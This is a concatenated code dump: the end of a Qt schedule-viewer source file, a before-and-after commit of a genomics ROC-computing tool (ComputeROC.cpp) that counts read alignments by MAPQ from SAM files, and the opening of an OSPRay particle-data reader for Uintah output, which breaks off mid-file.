day;\n\n if(obj_name == \"sch_1\") day = 1;\n else if(obj_name == \"sch_2\") day = 2;\n else if(obj_name == \"sch_3\") day = 3;\n else if(obj_name == \"sch_4\") day = 4;\n else if(obj_name == \"sch_5\") day = 5;\n else if(obj_name == \"sch_6\") day = 6;\n\n schedule sch(this,day);\n connect(&sch,&schedule::sch_update,this,&MainWindow::schedule_show); \/\/коннектор обновления расписания в главном окне\n sch.exec();\n}\nvoid MainWindow::schedule_show()\n{\n sch_select(day_week,cur_week); \/\/выборка расписания на текущий день из таблицы\n ui->sch_output->setText(sch_text); \/\/вывод в lable в главное окно\n}\n\nbool MainWindow::date()\n{\n QSqlQuery a_query; \/\/ переменная для запроса\n\n if (!a_query.exec(\"SELECT week FROM study_day LIMIT 4\"))\n {\n qDebug() << \"Ошибка выполнения запроса SELECT week\";\n }\n\n QSqlRecord res = a_query.record(); \/\/результат запроса\n\n int i=0;\n while (a_query.next())\n {\n study_day[i] = a_query.value(res.indexOf(\"week\")).toInt();\n i++;\n }\n if(week >= study_day[0] && week <= study_day[1]) cur_week = week-study_day[0] + 1; \/\/входит ли текущая неделя в диапазон семестра\n else if(week >= study_day[2] && week <= study_day[3]) cur_week = week-study_day[2] + 1;\n else return 1; \/\/значит каникулы или сессия\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*++\n\nModule Name:\n\n ComputeROC.cpp\n\nAbstract:\n\n Take a SAM file with simulated reads and compute a ROC curve from it.\n\nAuthors:\n\n Bill Bolosky, December, 2012\n\nEnvironment:\n`\n User mode service.\n\nRevision History:\n\n \n--*\/\n\n#include \"stdafx.h\"\n#include \"SAM.h\"\n#include \"Genome.h\"\n#include \"Compat.h\"\n#include \"Read.h\"\n#include \"RangeSplitter.h\"\n#include \"BigAlloc.h\"\n\nvoid usage()\n{\n fprintf(stderr,\"usage: ComputeROC genomeDirectory inputFile {-b}\\n\");\n fprintf(stderr,\" -b means to accept reads that match either end of the range regardless of RC\\n\");\n fprintf(stderr,\" -c means to just count the number of reads that are aligned, not to worry about correctness\\n\");\n fprintf(stderr,\"You can specify only one of -b or -c\\n\");\n \texit(1);\n}\n\nRangeSplitter *rangeSplitter;\nvolatile _int64 nRunningThreads;\nSingleWaiterObject allThreadsDone;\nconst char *inputFileName;\nconst Genome *genome;\nbool matchBothWays = false;\nbool justCount = false;\n\nstatic const int MaxMAPQ = 70;\nconst unsigned MaxEditDistance = 100;\nstruct ThreadContext {\n unsigned whichThread;\n\n _int64 countOfReads[MaxMAPQ+1];\n _int64 countOfMisalignments[MaxMAPQ+1];\n _int64 nUnaligned;\n _int64 totalReads;\n\n _int64 countOfReadsByEditDistance[MaxMAPQ+1][MaxEditDistance+1];\n _int64 countOfMisalignmentsByEditDistance[MaxMAPQ+1][MaxEditDistance+1];\n\n ThreadContext() {\n nUnaligned = 0;\n totalReads = 0;\n for (int i = 0; i <= MaxMAPQ; i++) {\n countOfReads[i] = countOfMisalignments[i] = 0;\n for (int j = 0; j <= MaxEditDistance; j++) {\n countOfReadsByEditDistance[i][j] = 0;\n countOfMisalignmentsByEditDistance[i][j] = 0;\n }\n }\n }\n\n};\n\nbool inline isADigit(char x) {\n return x >= '0' && x <= '9';\n}\n\nvoid\nWorkerThreadMain(void *param)\n{\n ThreadContext *context = (ThreadContext *)param;\n\n _int64 rangeStart, rangeLength;\n\n SAMReader *samReader = NULL;\n ReaderContext rcontext;\n rcontext.clipping = NoClipping;\n rcontext.genome = genome;\n rcontext.paired = false;\n rcontext.defaultReadGroup = \"\";\n rcontext.header = NULL;\n while (rangeSplitter->getNextRange(&rangeStart, &rangeLength)) {\n if (NULL == samReader) {\n SAMReader::readHeader(inputFileName, rcontext);\n samReader = SAMReader::create(DataSupplier::Default[true], inputFileName, rcontext, rangeStart, rangeLength);\n } else {\n ((ReadReader *)samReader)->reinit(rangeStart, rangeLength);\n }\n\n AlignmentResult alignmentResult;\n unsigned genomeLocation;\n Direction isRC;\n unsigned mapQ;\n unsigned flag;\n const char *cigar;\n unsigned nextFileToWrite = 0;\n Read read;\n LandauVishkinWithCigar lv;\n while (samReader->getNextRead(&read, &alignmentResult, &genomeLocation, &isRC, &mapQ, &flag, &cigar)) {\n\n if (mapQ < 0 || mapQ > MaxMAPQ) {\n fprintf(stderr,\"Invalid MAPQ: %d\\n\",mapQ);\n exit(1);\n }\n\n context->totalReads++;\n\n if (0xffffffff == genomeLocation) {\n context->nUnaligned++;\n } else if (!justCount) {\n if (flag & SAM_REVERSE_COMPLEMENT) {\n read.becomeRC();\n }\n \n const Genome::Piece *piece = genome->getPieceAtLocation(genomeLocation);\n if (NULL == piece) {\n fprintf(stderr,\"couldn't find genome piece for offset %u\\n\",genomeLocation);\n exit(1);\n }\n unsigned offsetA, offsetB;\n bool matched;\n\n const unsigned cigarBufLen = 1000;\n char cigarForAligned[cigarBufLen];\n const char *alignedGenomeData = genome->getSubstring(genomeLocation, 1); \n int editDistance = lv.computeEditDistance(alignedGenomeData, read.getDataLength() + 20, read.getData(), read.getDataLength(), 30, cigarForAligned, cigarBufLen, false);\n\n if (editDistance == -1 || editDistance > MaxEditDistance) {\n editDistance = MaxEditDistance;\n }\n\n \/\/\n \/\/ Parse the read ID. The format is ChrName_OffsetA_OffsetB_?:<more stuff>. This would be simple to parse, except that\n \/\/ ChrName can include \"_\". So, we parse it by looking for the first : and then working backward.\n \/\/\n char idBuffer[10000]; \/\/ Hopefully big enough. I'm not worried about malicious input data here.\n\n memcpy(idBuffer,read.getId(),read.getIdLength());\n idBuffer[read.getIdLength()] = 0;\n \n const char *firstColon = strchr(idBuffer,':');\n bool badParse = true;\n size_t chrNameLen;\n const char *beginningOfSecondNumber;\n const char *beginningOfFirstNumber; int stage = 0;\n unsigned offsetOfCorrectChromosome;\n \n if (NULL != firstColon && firstColon - 3 > idBuffer && (*(firstColon-1) == '?' || isADigit(*(firstColon - 1)))) {\n \/\/\n \/\/ We've parsed backwards to see that we have at least #: or ?: where '#' is a digit and ? is literal. If it's\n \/\/ a digit, then scan backwards through that number.\n \/\/\n const char *underscoreBeforeFirstColon = firstColon - 2;\n while (underscoreBeforeFirstColon > idBuffer && isADigit(*underscoreBeforeFirstColon)) {\n underscoreBeforeFirstColon--;\n }\n\n if (*underscoreBeforeFirstColon == '_' && (isADigit(*(underscoreBeforeFirstColon - 1)) || *(underscoreBeforeFirstColon - 1) == '_')) {\n stage = 1;\n if (isADigit(*(underscoreBeforeFirstColon - 1))) {\n beginningOfSecondNumber = firstColon - 3;\n while (beginningOfSecondNumber > idBuffer && isADigit(*beginningOfSecondNumber)) {\n beginningOfSecondNumber--;\n }\n beginningOfSecondNumber++; \/\/ That loop actually moved us back one char before the beginning;\n } else {\n \/\/\n \/\/ There's only one number, we have two consecutive underscores.\n \/\/\n beginningOfSecondNumber = underscoreBeforeFirstColon;\n }\n if (beginningOfSecondNumber - 2 > idBuffer && *(beginningOfSecondNumber - 1) == '_' && isADigit(*(beginningOfSecondNumber - 2))) {\n stage = 2;\n beginningOfFirstNumber = beginningOfSecondNumber - 2;\n while (beginningOfFirstNumber > idBuffer && isADigit(*beginningOfFirstNumber)) {\n beginningOfFirstNumber--;\n }\n beginningOfFirstNumber++; \/\/ Again, we went one too far.\n\n offsetA = -1;\n offsetB = -1;\n\n if (*(beginningOfFirstNumber - 1) == '_' && 1 == sscanf(beginningOfFirstNumber,\"%u\",&offsetA) &&\n ('_' == *beginningOfSecondNumber || 1 == sscanf(beginningOfSecondNumber,\"%u\", &offsetB))) {\n stage = 3;\n\n chrNameLen = (beginningOfFirstNumber - 1) - idBuffer;\n char correctChromosomeName[1000];\n memcpy(correctChromosomeName, idBuffer, chrNameLen);\n correctChromosomeName[chrNameLen] = '\\0';\n\n if (!genome->getOffsetOfPiece(correctChromosomeName, &offsetOfCorrectChromosome)) {\n fprintf(stderr, \"Couldn't parse chromosome name '%s' from read id\\n\", correctChromosomeName);\n } else {\n badParse = false;\n }\n }\n }\n }\n\n \n\n if (badParse) {\n fprintf(stderr,\"Unable to parse read ID '%s', perhaps this isn't simulated data. piecelen = %d, pieceName = '%s', piece offset = %u, genome offset = %u\\n\", idBuffer, strlen(piece->name), piece->name, piece->beginningOffset, genomeLocation);\n exit(1);\n }\n\n \n bool match0 = false;\n bool match1 = false;\n if (-1 == offsetA || -1 == offsetB) {\n matched = false;\n } else if(strncmp(piece->name, idBuffer, __min(read.getIdLength(), chrNameLen))) {\n matched = false;\n } else {\n if (isWithin(offsetA, genomeLocation - piece->beginningOffset, 50)) {\n matched = true;\n match0 = true;\n } else if (isWithin(offsetB, genomeLocation - piece->beginningOffset, 50)) {\n matched = true;\n match1 = true;\n } else {\n matched = false;\n if (flag & SAM_FIRST_SEGMENT) {\n match0 = true;\n } else {\n match1 = true;\n }\n }\n }\n\n context->countOfReads[mapQ]++;\n context->countOfReadsByEditDistance[mapQ][editDistance]++;\n\n if (!matched) {\n context->countOfMisalignments[mapQ]++;\n context->countOfMisalignmentsByEditDistance[mapQ][editDistance]++;\n\n if (70 == mapQ || 69 == mapQ) {\n\n \/\/\n \/\/ We don't know which offset is correct, because neither one matched. Just take the one with the lower edit distance.\n \/\/\n unsigned correctLocationA = offsetOfCorrectChromosome + offsetA;\n unsigned correctLocationB = offsetOfCorrectChromosome + offsetB;\n\n unsigned correctLocation = 0;\n const char *correctData = NULL;\n\n const char *dataA = genome->getSubstring(correctLocationA, 1);\n const char *dataB = genome->getSubstring(correctLocationB, 1);\n int distanceA, distanceB;\n char cigarA[cigarBufLen];\n char cigarB[cigarBufLen];\n\n cigarA[0] = '*'; cigarA[1] = '\\0';\n cigarB[0] = '*'; cigarB[1] = '\\0';\n\n if (dataA == NULL) {\n distanceA = -1;\n } else {\n distanceA = lv.computeEditDistance(dataA, read.getDataLength() + 20, read.getData(), read.getDataLength(), 30, cigarA, cigarBufLen, false);\n }\n\n if (dataB == NULL) {\n distanceB = -1;\n } else {\n distanceB = lv.computeEditDistance(dataB, read.getDataLength() + 20, read.getData(), read.getDataLength(), 30, cigarB, cigarBufLen, false);\n }\n\n const char *correctGenomeData;\n char *cigarForCorrect;\n\n if (distanceA != -1 && distanceA <= distanceB || distanceB == -1) {\n correctGenomeData = dataA;\n correctLocation = correctLocationA;\n cigarForCorrect = cigarA;\n } else {\n correctGenomeData = dataB;\n correctLocation = correctLocationB;\n cigarForCorrect = cigarB;\n }\n \n printf(\"%s\\t%d\\t%s\\t%u\\t%d\\t%s\\t*\\t*\\t100\\t%.*s\\t%.*s\\tAlignedGenomeLocation:%u\\tCorrectGenomeLocation: %u\\tCigarForCorrect: %s\\tCorrectData: %.*s\\tAlignedData: %.*s\\n\", \n idBuffer, flag, piece->name, genomeLocation - piece->beginningOffset, mapQ, cigarForAligned, read.getDataLength(), read.getData(), \n read.getDataLength(), read.getQuality(), genomeLocation, correctLocation, cigarForCorrect, read.getDataLength(),\n correctGenomeData, read.getDataLength(), alignedGenomeData);\n }\n }\n }\n } \/\/ if it was mapped\n } \/\/ for each read from the sam reader\n }\n\n if (0 == InterlockedAdd64AndReturnNewValue(&nRunningThreads, -1)) {\n SignalSingleWaiterObject(&allThreadsDone);\n }\n}\n\n\nint main(int argc, char * argv[])\n{\n BigAllocUseHugePages = false;\n\n if (3 != argc && 4 != argc) {\n\t\tusage();\n\t}\n\n if (4 == argc) {\n if (!strcmp(argv[3],\"-b\")) {\n matchBothWays = true;\n } else if (!strcmp(argv[3], \"-c\")) {\n justCount = true;\n } else {\n usage();\n }\n }\n\n static const char *genomeSuffix = \"Genome\";\n\tsize_t filenameLen = strlen(argv[1]) + 1 + strlen(genomeSuffix) + 1;\n\tchar *fileName = new char[strlen(argv[1]) + 1 + strlen(genomeSuffix) + 1];\n\tsnprintf(fileName,filenameLen,\"%s%c%s\",argv[1],PATH_SEP,genomeSuffix);\n\tgenome = Genome::loadFromFile(fileName, 0);\n\tif (NULL == genome) {\n\t\tfprintf(stderr,\"Unable to load genome from file '%s'\\n\",fileName);\n\t\treturn -1;\n\t}\n\tdelete [] fileName;\n\tfileName = NULL;\n\n inputFileName = argv[2];\n\n unsigned nThreads;\n#ifdef _DEBUG\n nThreads = 1;\n#else \/\/ _DEBUG\n nThreads = GetNumberOfProcessors();\n#endif \/\/ _DEBUG\n\n\n nRunningThreads = nThreads;\n\n _int64 fileSize = QueryFileSize(argv[2]);\n rangeSplitter = new RangeSplitter(fileSize, nThreads);\n \n CreateSingleWaiterObject(&allThreadsDone);\n ThreadContext *contexts = new ThreadContext[nThreads];\n\n for (unsigned i = 0; i < nThreads; i++) {\n contexts[i].whichThread = i;\n\n StartNewThread(WorkerThreadMain, &contexts[i]);\n }\n\n WaitForSingleWaiterObject(&allThreadsDone);\n\n _int64 nUnaligned = 0;\n _int64 totalReads = 0;\n for (unsigned i = 0; i < nThreads; i++) {\n nUnaligned += contexts[i].nUnaligned;\n totalReads += contexts[i].totalReads;\n }\n printf(\"%lld reads, %lld unaligned (%0.2f%%)\\n\", totalReads, nUnaligned, 100. * (double)nUnaligned \/ (double)totalReads);\n\n if (justCount) return 0;\n\n printf(\"%lld total unaligned\\nMAPQ\\tnReads\\tnMisaligned\\n\",nUnaligned);\n\n for (int i = 0; i <= MaxMAPQ; i++) {\n _int64 nReads = 0;\n _int64 nMisaligned = 0;\n for (unsigned j = 0; j < nThreads; j++) {\n nReads += contexts[j].countOfReads[i];\n nMisaligned += contexts[j].countOfMisalignments[i];\n }\n printf(\"%d\\t%lld\\t%lld\\n\", i, nReads, nMisaligned);\n }\n\n int maxEditDistanceSeen = 0;\n for (unsigned i = 0; i < nThreads; i++) {\n }\n\n\treturn 0;\n}\n\n<commit_msg>update roc to count mapq even on reads even if alignment position is not present<commit_after>\/*++\n\nModule Name:\n\n ComputeROC.cpp\n\nAbstract:\n\n Take a SAM file with simulated reads and compute a ROC curve from it.\n\nAuthors:\n\n Bill Bolosky, December, 2012\n\nEnvironment:\n`\n User mode service.\n\nRevision History:\n\n \n--*\/\n\n#include \"stdafx.h\"\n#include \"SAM.h\"\n#include \"Genome.h\"\n#include \"Compat.h\"\n#include \"Read.h\"\n#include \"RangeSplitter.h\"\n#include \"BigAlloc.h\"\n\nvoid usage()\n{\n fprintf(stderr,\"usage: ComputeROC genomeDirectory inputFile {-b}\\n\");\n fprintf(stderr,\" -b means to accept reads that match either end of the range regardless of RC\\n\");\n fprintf(stderr,\" -c means to just count the number of reads that are aligned, not to worry about correctness\\n\");\n fprintf(stderr,\"You can specify only one of -b or -c\\n\");\n \texit(1);\n}\n\nRangeSplitter *rangeSplitter;\nvolatile _int64 nRunningThreads;\nSingleWaiterObject allThreadsDone;\nconst char *inputFileName;\nconst Genome *genome;\nbool matchBothWays = false;\nbool justCount = false;\n\nstatic const int MaxMAPQ = 70;\nconst unsigned MaxEditDistance = 100;\nstruct ThreadContext {\n unsigned whichThread;\n\n _int64 countOfReads[MaxMAPQ+1];\n _int64 countOfMisalignments[MaxMAPQ+1];\n _int64 nUnaligned;\n _int64 totalReads;\n\n _int64 countOfReadsByEditDistance[MaxMAPQ+1][MaxEditDistance+1];\n _int64 countOfMisalignmentsByEditDistance[MaxMAPQ+1][MaxEditDistance+1];\n\n\n ThreadContext() {\n nUnaligned = 0;\n totalReads = 0;\n for (int i = 0; i <= MaxMAPQ; i++) {\n countOfReads[i] = countOfMisalignments[i] = 0;\n for (int j = 0; j <= MaxEditDistance; j++) {\n countOfReadsByEditDistance[i][j] = 0;\n countOfMisalignmentsByEditDistance[i][j] = 0;\n }\n }\n }\n\n};\n\nbool inline isADigit(char x) {\n return x >= '0' && x <= '9';\n}\n\nvoid\nWorkerThreadMain(void *param)\n{\n ThreadContext *context = (ThreadContext *)param;\n\n _int64 rangeStart, rangeLength;\n\n SAMReader *samReader = NULL;\n ReaderContext rcontext;\n rcontext.clipping = NoClipping;\n rcontext.genome = genome;\n rcontext.paired = false;\n rcontext.defaultReadGroup = \"\";\n rcontext.header = NULL;\n while (rangeSplitter->getNextRange(&rangeStart, &rangeLength)) {\n if (NULL == samReader) {\n SAMReader::readHeader(inputFileName, rcontext);\n samReader = SAMReader::create(DataSupplier::Default[true], inputFileName, rcontext, rangeStart, rangeLength);\n } else {\n ((ReadReader *)samReader)->reinit(rangeStart, rangeLength);\n }\n\n AlignmentResult alignmentResult;\n unsigned genomeLocation;\n Direction isRC;\n unsigned mapQ;\n unsigned flag;\n const char *cigar;\n unsigned nextFileToWrite = 0;\n Read read;\n LandauVishkinWithCigar lv;\n while (samReader->getNextRead(&read, &alignmentResult, &genomeLocation, &isRC, &mapQ, &flag, &cigar)) {\n \t if (justCount) {\n context->countOfReads[mapQ]++;\n\t }\n if (mapQ < 0 || mapQ > MaxMAPQ) {\n fprintf(stderr,\"Invalid MAPQ: %d\\n\",mapQ);\n exit(1);\n }\n\n context->totalReads++;\n\n if (0xffffffff == genomeLocation) {\n context->nUnaligned++;\n } else if (!justCount) {\n if (flag & SAM_REVERSE_COMPLEMENT) {\n read.becomeRC();\n }\n \n const Genome::Piece *piece = genome->getPieceAtLocation(genomeLocation);\n if (NULL == piece) {\n fprintf(stderr,\"couldn't find genome piece for offset %u\\n\",genomeLocation);\n exit(1);\n }\n unsigned offsetA, offsetB;\n bool matched;\n\n const unsigned cigarBufLen = 1000;\n char cigarForAligned[cigarBufLen];\n const char *alignedGenomeData = genome->getSubstring(genomeLocation, 1); \n int editDistance = lv.computeEditDistance(alignedGenomeData, read.getDataLength() + 20, read.getData(), read.getDataLength(), 30, cigarForAligned, cigarBufLen, false);\n\n if (editDistance == -1 || editDistance > MaxEditDistance) {\n editDistance = MaxEditDistance;\n }\n\n \/\/\n \/\/ Parse the read ID. The format is ChrName_OffsetA_OffsetB_?:<more stuff>. This would be simple to parse, except that\n \/\/ ChrName can include \"_\". So, we parse it by looking for the first : and then working backward.\n \/\/\n char idBuffer[10000]; \/\/ Hopefully big enough. I'm not worried about malicious input data here.\n\n memcpy(idBuffer,read.getId(),read.getIdLength());\n idBuffer[read.getIdLength()] = 0;\n \n const char *firstColon = strchr(idBuffer,':');\n bool badParse = true;\n size_t chrNameLen;\n const char *beginningOfSecondNumber;\n const char *beginningOfFirstNumber; int stage = 0;\n unsigned offsetOfCorrectChromosome;\n \n if (NULL != firstColon && firstColon - 3 > idBuffer && (*(firstColon-1) == '?' || isADigit(*(firstColon - 1)))) {\n \/\/\n \/\/ We've parsed backwards to see that we have at least #: or ?: where '#' is a digit and ? is literal. If it's\n \/\/ a digit, then scan backwards through that number.\n \/\/\n const char *underscoreBeforeFirstColon = firstColon - 2;\n while (underscoreBeforeFirstColon > idBuffer && isADigit(*underscoreBeforeFirstColon)) {\n underscoreBeforeFirstColon--;\n }\n\n if (*underscoreBeforeFirstColon == '_' && (isADigit(*(underscoreBeforeFirstColon - 1)) || *(underscoreBeforeFirstColon - 1) == '_')) {\n stage = 1;\n if (isADigit(*(underscoreBeforeFirstColon - 1))) {\n beginningOfSecondNumber = firstColon - 3;\n while (beginningOfSecondNumber > idBuffer && isADigit(*beginningOfSecondNumber)) {\n beginningOfSecondNumber--;\n }\n beginningOfSecondNumber++; \/\/ That loop actually moved us back one char before the beginning;\n } else {\n \/\/\n \/\/ There's only one number, we have two consecutive underscores.\n \/\/\n beginningOfSecondNumber = underscoreBeforeFirstColon;\n }\n if (beginningOfSecondNumber - 2 > idBuffer && *(beginningOfSecondNumber - 1) == '_' && isADigit(*(beginningOfSecondNumber - 2))) {\n stage = 2;\n beginningOfFirstNumber = beginningOfSecondNumber - 2;\n while (beginningOfFirstNumber > idBuffer && isADigit(*beginningOfFirstNumber)) {\n beginningOfFirstNumber--;\n }\n beginningOfFirstNumber++; \/\/ Again, we went one too far.\n\n offsetA = -1;\n offsetB = -1;\n\n if (*(beginningOfFirstNumber - 1) == '_' && 1 == sscanf(beginningOfFirstNumber,\"%u\",&offsetA) &&\n ('_' == *beginningOfSecondNumber || 1 == sscanf(beginningOfSecondNumber,\"%u\", &offsetB))) {\n stage = 3;\n\n chrNameLen = (beginningOfFirstNumber - 1) - idBuffer;\n char correctChromosomeName[1000];\n memcpy(correctChromosomeName, idBuffer, chrNameLen);\n correctChromosomeName[chrNameLen] = '\\0';\n\n if (!genome->getOffsetOfPiece(correctChromosomeName, &offsetOfCorrectChromosome)) {\n fprintf(stderr, \"Couldn't parse chromosome name '%s' from read id\\n\", correctChromosomeName);\n } else {\n badParse = false;\n }\n }\n }\n }\n\n \n\n if (badParse) {\n fprintf(stderr,\"Unable to parse read ID '%s', perhaps this isn't simulated data. piecelen = %d, pieceName = '%s', piece offset = %u, genome offset = %u\\n\", idBuffer, strlen(piece->name), piece->name, piece->beginningOffset, genomeLocation);\n exit(1);\n }\n\n \n bool match0 = false;\n bool match1 = false;\n if (-1 == offsetA || -1 == offsetB) {\n matched = false;\n } else if(strncmp(piece->name, idBuffer, __min(read.getIdLength(), chrNameLen))) {\n matched = false;\n } else {\n if (isWithin(offsetA, genomeLocation - piece->beginningOffset, 50)) {\n matched = true;\n match0 = true;\n } else if (isWithin(offsetB, genomeLocation - piece->beginningOffset, 50)) {\n matched = true;\n match1 = true;\n } else {\n matched = false;\n if (flag & SAM_FIRST_SEGMENT) {\n match0 = true;\n } else {\n match1 = true;\n }\n }\n }\n\n context->countOfReads[mapQ]++;\n context->countOfReadsByEditDistance[mapQ][editDistance]++;\n\n if (!matched) {\n context->countOfMisalignments[mapQ]++;\n context->countOfMisalignmentsByEditDistance[mapQ][editDistance]++;\n\n if (70 == mapQ || 69 == mapQ) {\n\n \/\/\n \/\/ We don't know which offset is correct, because neither one matched. Just take the one with the lower edit distance.\n \/\/\n unsigned correctLocationA = offsetOfCorrectChromosome + offsetA;\n unsigned correctLocationB = offsetOfCorrectChromosome + offsetB;\n\n unsigned correctLocation = 0;\n const char *correctData = NULL;\n\n const char *dataA = genome->getSubstring(correctLocationA, 1);\n const char *dataB = genome->getSubstring(correctLocationB, 1);\n int distanceA, distanceB;\n char cigarA[cigarBufLen];\n char cigarB[cigarBufLen];\n\n cigarA[0] = '*'; cigarA[1] = '\\0';\n cigarB[0] = '*'; cigarB[1] = '\\0';\n\n if (dataA == NULL) {\n distanceA = -1;\n } else {\n distanceA = lv.computeEditDistance(dataA, read.getDataLength() + 20, read.getData(), read.getDataLength(), 30, cigarA, cigarBufLen, false);\n }\n\n if (dataB == NULL) {\n distanceB = -1;\n } else {\n distanceB = lv.computeEditDistance(dataB, read.getDataLength() + 20, read.getData(), read.getDataLength(), 30, cigarB, cigarBufLen, false);\n }\n\n const char *correctGenomeData;\n char *cigarForCorrect;\n\n if (distanceA != -1 && distanceA <= distanceB || distanceB == -1) {\n correctGenomeData = dataA;\n correctLocation = correctLocationA;\n cigarForCorrect = cigarA;\n } else {\n correctGenomeData = dataB;\n correctLocation = correctLocationB;\n cigarForCorrect = cigarB;\n }\n \n printf(\"%s\\t%d\\t%s\\t%u\\t%d\\t%s\\t*\\t*\\t100\\t%.*s\\t%.*s\\tAlignedGenomeLocation:%u\\tCorrectGenomeLocation: %u\\tCigarForCorrect: %s\\tCorrectData: %.*s\\tAlignedData: %.*s\\n\", \n idBuffer, flag, piece->name, genomeLocation - piece->beginningOffset, mapQ, cigarForAligned, read.getDataLength(), read.getData(), \n read.getDataLength(), read.getQuality(), genomeLocation, correctLocation, cigarForCorrect, read.getDataLength(),\n correctGenomeData, read.getDataLength(), alignedGenomeData);\n }\n }\n }\n } \/\/ if it was mapped\n } \/\/ for each read from the sam reader\n }\n\n if (0 == InterlockedAdd64AndReturnNewValue(&nRunningThreads, -1)) {\n SignalSingleWaiterObject(&allThreadsDone);\n }\n}\n\n\nint main(int argc, char * argv[])\n{\n BigAllocUseHugePages = false;\n\n if (3 != argc && 4 != argc) {\n\t\tusage();\n\t}\n\n if (4 == argc) {\n if (!strcmp(argv[3],\"-b\")) {\n matchBothWays = true;\n } else if (!strcmp(argv[3], \"-c\")) {\n justCount = true;\n } else {\n usage();\n }\n }\n\n static const char *genomeSuffix = \"Genome\";\n\tsize_t filenameLen = strlen(argv[1]) + 1 + strlen(genomeSuffix) + 1;\n\tchar *fileName = new char[strlen(argv[1]) + 1 + strlen(genomeSuffix) + 1];\n\tsnprintf(fileName,filenameLen,\"%s%c%s\",argv[1],PATH_SEP,genomeSuffix);\n\tgenome = Genome::loadFromFile(fileName, 0);\n\tif (NULL == genome) {\n\t\tfprintf(stderr,\"Unable to load genome from file '%s'\\n\",fileName);\n\t\treturn -1;\n\t}\n\tdelete [] fileName;\n\tfileName = NULL;\n\n inputFileName = argv[2];\n\n unsigned nThreads;\n#ifdef _DEBUG\n nThreads = 1;\n#else \/\/ _DEBUG\n nThreads = GetNumberOfProcessors();\n#endif \/\/ _DEBUG\n\n\n nRunningThreads = nThreads;\n\n _int64 fileSize = QueryFileSize(argv[2]);\n rangeSplitter = new RangeSplitter(fileSize, nThreads);\n \n CreateSingleWaiterObject(&allThreadsDone);\n ThreadContext *contexts = new ThreadContext[nThreads];\n\n for (unsigned i = 0; i < nThreads; i++) {\n contexts[i].whichThread = i;\n\n StartNewThread(WorkerThreadMain, &contexts[i]);\n }\n\n WaitForSingleWaiterObject(&allThreadsDone);\n\n _int64 nUnaligned = 0;\n _int64 totalReads = 0;\n for (unsigned i = 0; i < nThreads; i++) {\n nUnaligned += contexts[i].nUnaligned;\n totalReads += contexts[i].totalReads;\n }\n printf(\"%lld reads, %lld unaligned (%0.2f%%)\\n\", totalReads, nUnaligned, 100. * (double)nUnaligned \/ (double)totalReads);\n\n printf(\"MAPQ\\tnReads\\tnMisaligned\\n\");\n for (int i = 0; i <= MaxMAPQ; i++) {\n _int64 nReads = 0;\n _int64 nMisaligned = 0;\n for (unsigned j = 0; j < nThreads; j++) {\n nReads += contexts[j].countOfReads[i];\n nMisaligned += contexts[j].countOfMisalignments[i];\n }\n printf(\"%d\\t%lld\\t%lld\\n\", i, nReads, nMisaligned);\n }\n\n int maxEditDistanceSeen = 0;\n for (unsigned i = 0; i < nThreads; i++) {\n }\n\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\n#undef NDEBUG\n\n#include \"ospray\/common\/OspCommon.h\"\n#include \"apps\/common\/xml\/xml.h\"\n#include \"model.h\"\n\n#include \"common\/sys\/filename.h\"\n\nnamespace ospray {\n namespace particle {\n bool big_endian = false;\n\n \/*! a dump-file we can use for debugging; we'll simply dump each\n parsed particle into this file during parsing *\/\n FILE *particleDumpFile = NULL;\n\n struct Particle {\n double x,y,z;\n };\n \/\/ struct MPM {\n \/\/ std::vector<vec3f> pos;\n \/\/ };\n \/\/ MPM mpm;\n\n double htonlf(double f)\n {\n double ret;\n char *in = (char*)&f;\n char *out = (char*)&ret;\n for (int i=0;i<8;i++)\n out[i] = in[7-i];\n return ret;\n }\n void readParticles(Model *model,\n size_t numParticles, const std::string &fn, size_t begin, size_t end)\n {\n \/\/ std::cout << \"#mpm: reading \" << numParticles << \" particles... \" << std::flush;\n \/\/ printf(\"#mpm: reading%7ld particles...\",numParticles); fflush(0);\n FILE *file = fopen(fn.c_str(),\"rb\");\n if (!file) {\n throw std::runtime_error(\"could not open data file \"+fn);\n }\n assert(file);\n\n fseek(file,begin,SEEK_SET);\n size_t len = end-begin;\n\n if (len != numParticles*sizeof(Particle)) {\n PING;\n PRINT(len);\n PRINT(numParticles);\n PRINT(len\/numParticles);\n }\n \/\/ PRINT(len);\n \n for (int i=0;i<numParticles;i++) {\n Particle p;\n int rc = fread(&p,sizeof(p),1,file);\n if (rc != 1) {\n fclose(file);\n throw std::runtime_error(\"read partial data \"+fn);\n }\n#if 1\n if (big_endian) {\n p.x = htonlf(p.x);\n p.y = htonlf(p.y);\n p.z = htonlf(p.z);\n }\n#endif\n Model::Atom a;\n a.position = vec3f(p.x,p.y,p.z);\n a.type = model->getAtomType(\"<unnamed>\");\n\n if (particleDumpFile)\n fwrite(&a,sizeof(a),1,particleDumpFile);\n\n model->atom.push_back(a);\n }\n \n std::cout << \"\\r#osp:uintah: read \" << numParticles << \" particles (total \" << float(model->atom.size()\/1e6) << \"M)\";\n\n \/\/ Particle *particle = new Particle[numParticles];\n \/\/ fread(particle,numParticles,sizeof(Particle),file);\n \/\/ for (int i=0;i\n \/\/ for (int i=0;i<100;i++)\n \/\/ printf(\"particle %5i: %lf %lf %lf\\n\",particle[i].x,particle[i].y,particle[i].z);\n fclose(file);\n }\n\n void parse__Variable(Model *model,\n const std::string &basePath, xml::Node *var)\n {\n size_t index = -1;\n size_t start = -1;\n size_t end = -1;\n size_t patch = -1;\n size_t numParticles = 0;\n std::string variable;\n std::string filename;\n for (int i=0;i<var->child.size();i++) {\n xml::Node *n = var->child[i];\n if (n->name == \"index\") {\n index = atoi(n->content.c_str());\n } else if (n->name == \"variable\") {\n variable = n->content;\n } else if (n->name == \"numParticles\") {\n numParticles = atol(n->content.c_str());\n } else if (n->name == \"patch\") {\n patch = atol(n->content.c_str());\n } else if (n->name == \"filename\") {\n filename = n->content;\n } else if (n->name == \"start\") {\n start = atol(n->content.c_str());\n } else if (n->name == \"end\") {\n end = atol(n->content.c_str());\n }\n }\n\n if (numParticles > 0\n && variable == \"p.x\"\n \/* && index == .... *\/ \n ) {\n readParticles(model,numParticles,basePath+\"\/\"+filename,start,end);\n }\n \/\/ PRINT(patch);\n \/\/ PRINT(numParticles);\n \/\/ PRINT(start);\n \/\/ PRINT(filename);\n }\n\n \/\/ pase a \"Uintah_Output\" node\n \/\/ void parse__Uintah_Output(const std::string &basePath, xml::Node *node)\n \/\/ {\n \/\/ assert(node->name == \"Uintah_Output\");\n \/\/ for (int i=0;i<node->child.size();i++) {\n \/\/ xml::Node *c = node->child[i];\n \/\/ assert(c->name == \"Variable\");\n 